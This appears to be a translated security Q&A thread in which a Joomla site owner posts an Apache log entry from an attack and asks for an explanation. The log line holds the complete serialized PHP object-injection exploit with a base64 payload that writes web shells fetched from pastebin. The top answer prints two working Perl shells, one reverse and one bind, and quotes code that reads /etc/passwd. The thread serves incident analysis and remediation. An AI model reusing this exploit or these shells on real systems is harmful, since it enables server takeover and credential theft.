Creo que mi sitio fue hackeado. ¿Puede alguien explicar la basura "GET / HTTP / 1.0" en mi registro de Apache, y qué está haciendo?

6

Consulte a continuación la entrada de registro del hack, he descodificado el código base_64 y, en última instancia, algunos archivos se colocan en el servidor y ¡hay una lista de directorios disponible entre otras!

¿Alguien podría explicar qué debilidad está explotando? Nuestro sitio está ejecutando Joomla 3.4. He actualizado Joomla y establecí los permisos de carpetas y archivos a 755/644 respectivamente. La versión de PHP es 5.3.23.

El 11 de marzo, restablecí este sitio de nuevo al impulso original de git que hicimos en abril del año pasado y me sorprendió que después de que nuestro sitio fuera hackeado nuevamente.

Realmente me gustaría saber si es una vulnerabilidad de PHP o Joomla para poder decidir el mejor curso de acción.

208.78.220.143 - - [12/Mar/2016:07:06:30 +0000] "GET / HTTP/1.0" 200 21849 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3702:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMGhpYW5ONGQwNVZKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDIxaGMzTXVjR2h3SWlBN0RRb2tkR1Y0ZERJZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdmRtUlZNV2RRUW1zbktUc05DaVJ2Y0dWdU1pQTlJR1p2Y0dWdUtDUmphR1ZqYXpJc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d1pXNHlMQ0FrZEdWNGRESXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdEUXBwWmlobWFXeGxYMlY0YVhOMGN5Z2tZMmhsWTJzeUtTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3lMaUk4TDJKeVBpSTdEUXA5Wld4elpTQU5DaUFnWldOb2J5QWlibTkwSUdWNGFYUnpNaUk3RFFwbFkyaHZJQ0prYjI1bE1pQXVYRzRnSWlBN0RRb05DaVJqYUdWamF6TTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2YzI1cGNHVnlMbWgwYlNJZ093MEtKSFJsZUhReklEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0wxWmlNMUJVTVRWaUp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJKNWNHRnpjeTV3YUhBaUlEc05DaVIwWlhoME5DQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OXhlRmhFY3pJM2RpY3BPdzBLSkc5d05EMW1iM0JsYmlna1kyaGxZMnMwTENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RRc0pIUmxlSFEwS1RzTkNtWmpiRzl6WlNna2IzQTBLVHNOQ2cwS0pHTm9aV05yTlQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOHZiV1ZrYVdFdmFtMWhhV3h6TG5Cb2NDSWdPdzBLSkhSbGVIUTFJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMmhuWVRGRlVsTmpKeWs3RFFva2IzQTFQV1p2Y0dWdUtDUmphR1ZqYXpVc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Td2tkR1Y0ZERVcE93MEtabU5zYjNObEtDUnZjRFVwT3cwS0RRb2tZMmhsWTJzMlBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZjMlZ6YzJsdmJpOXpaWE56YVc5dUxuQm9jQ0lnT3cwS0pIUmxlSFEySUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTDFWSVFVZFVPRGczSnlrN0RRb2tiM0EyUFdadmNHVnVLQ1JqYUdWamF6WXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOaXdrZEdWNGREWXBPdzBLWm1Oc2IzTmxLQ1J2Y0RZcE93MEtEUW9rZEc5NklEMGdJbUpoYkdGa1lYSnBiak5BWjIxaGFXd3VZMjl0SWpzTkNpUnpkV0pxWldOMElEMGdKMHB2YlNCNmVub2dKeUF1SUNSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVGtGTlJTZGRPdzBLSkdobFlXUmxjaUE5SUNkbWNtOXRPaUJMWld0cllXa2dVMlZ1YzJWdUlEeGlZV3hoWkdGeWFXNHpRR2R0WVdsc0xtTnZiVDRuSUM0Z0lseHlYRzRpT3cwS0pHMWxjM05oWjJVZ1BTQWlVMmhsYkd4NklEb2dhSFIwY0Rvdkx5SWdMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdmIyMXNZUzlxYldGcGJDNXdhSEEvZFNJZ0xpQWlYSEpjYmlJZ0xpQndhSEJmZFc1aGJXVW9LU0F1SUNKY2NseHVJanNOQ2lSelpXNTBiV0ZwYkNBOUlFQnRZV2xzS0NSMGIzb3NJQ1J6ZFdKcVpXTjBMQ0FrYldWemMyRm5aU3dnSkdobFlXUmxjaWs3RFFvTkNrQjFibXhwYm1zb1gxOUdTVXhGWDE4cE93MEtEUW9OQ2o4KycpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\xfd\xfd\xfd"
    
pregunta Basicmanthz 14.03.2016 - 22:15
fuente

2 respuestas

17

Este es un JSON Deserialize Remote Code Execution Intento

Esta respuesta se realizará basándose en el supuesto de que su sitio web fue hackeado. Si no fue pirateado, y estos archivos no fueron cargados, es solo un intento de pirateo. Si has encontrado archivos sospechosos, probablemente has sido hackeado.

Esto es esencialmente un exploit Remote Code Execution en el que se cargan múltiples shells en su servidor e intenta exfiltrate (robar) archivos de configuración, contraseñas del sistema, etc.

Lo que está haciendo es explotar un problema con una función de deserialización JSON que permite la ejecución remota de código. Una vez que está en su servidor, comienza a encadenar múltiples funciones y cargar múltiples shells.

También desactiva el registro de errores cuando no quiere que sepas lo que está pasando:

@error_reporting(0);

Hay muchas otras cosas en marcha, y el código intenta evitar que sigas lo que está haciendo. No hace un buen trabajo en su mayor parte, pero una vez que carga las carcasas, todas las apuestas están apagadas.

The Exploit Attempt Entry Point

En este blob JSON, puedes ver aquí que intentan lanzar eval(base64_decode("hacked contents")); en el parámetro feed_url .

\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";

Nifty, ¿eh?

No puedes simplemente atacar desde la órbita. Sus credenciales pueden haber sido robadas

Es probable que esté bien informado cambiando todos de sus nombres de usuario y contraseñas, no solo matándolos desde la órbita. Este script intenta robar todos de sus archivos de configuración, y su contraseña del sistema.

Vea esto:

flush();
$file = '/etc/passwd';
$read = @fopen($file, 'r');

... y este archivo también.

Esto permite ejecutar shells en su servidor

Un shell PHP y un shell Perl:

Aquí está el shell de Perl:

  1. Archivo 1:

    #!/usr/bin/perl
    
    use Socket;
    $iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
    $paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
    $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system('/bin/sh -i');
    close(STDIN);
    
    close(STDOUT);
    close(STDERR);
    
  2. Archivo 2:

    #!/usr/bin/perl
    
    $SHELL = "/bin/sh -i";
    if (@ARGV < 1) {
        exit(1);
    }
    
    use Socket;
    
    socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
    
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    
    bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
    
    listen(S, 3) || die "Cant listen port\n";
    
    while (1) {
        accept(CONN, S);
    
            if (!($pid = fork)) {
    
            die "Cannot fork"
    
            if (!defined $pid);
    
            open STDIN, "<&CONN";
    
            open STDOUT, ">&CONN";
    
            open STDERR, ">&CONN";
    
            exec $SHELL || die print CONN "Cant execute $SHELL\n";
            close CONN;
    
            exit 0;
        }
    }
    

Archivos fuente maliciosos

Descodifiqué el código fuente malicioso. Si le interesa, consulte los siguientes enlaces a continuación:

Demasiado largo, no leí

Nuke from orbit , y Cambiar todos los nombres de usuario y contraseñas . Pueden tener acceso completo.

¿Quieres saber más?

Usted puede aprender cómo hacerlo usted mismo. Echa un vistazo a este hilo: Encontré un código PHP desconocido en mi servidor. ¿Cómo puedo ofuscar el código?

    
respondido por el Mark Buffalo 15.03.2016 - 00:07
fuente
-2

Esto se ve como un RCE Exploit. Como dijiste, el exploit carga algo de shell a través de pastebin. Su servidor tiene propiedad. Recomiendo una instalación limpia de todo el servidor. El atacante podría haber reunido los mismos privilegios que tú. Tienes que restablecer todas las contraseñas. Restablecer a una versión anterior reabrirá esta vulnerabilidad en su versión de Joomla. Actualiza a la versión estable más reciente de Joomla.

Esta respuesta es el tl rápido; dr. Para un análisis más profundo, consulte: enlace

    
respondido por el honze 14.03.2016 - 22:33
fuente

Lea otras preguntas en las etiquetas